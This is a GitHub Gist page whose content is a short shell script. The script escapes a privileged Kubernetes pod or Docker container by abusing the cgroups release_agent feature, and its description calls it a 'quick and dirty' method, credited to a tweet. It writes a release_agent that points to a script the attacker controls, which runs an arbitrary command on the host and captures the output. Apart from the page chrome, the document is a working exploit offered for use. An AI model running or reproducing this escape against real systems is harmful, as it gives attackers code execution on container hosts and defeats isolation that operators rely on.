Created
July 17, 2019 13:48
-
-
Save stefan2904/1af982f07c708b835016538701b14d0a to your computer and use it in GitHub Desktop.
Quick and dirty way to get out of a privileged k8s pod or docker container by using cgroups release_agent feature, via https://twitter.com/_fel1x/status/1151487051986087936
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` | |
mkdir -p $d/w | |
echo 1 > $d/w/notify_on_release | |
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` | |
touch /o | |
echo $t/c >$d/release_agent | |
echo "#!/bin/sh $1 >$t/o" >/c | |
chmod +x /c | |
sh -c "echo 0 >$d/w/cgroup.procs" | |
sleep 1 | |
cat /o | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment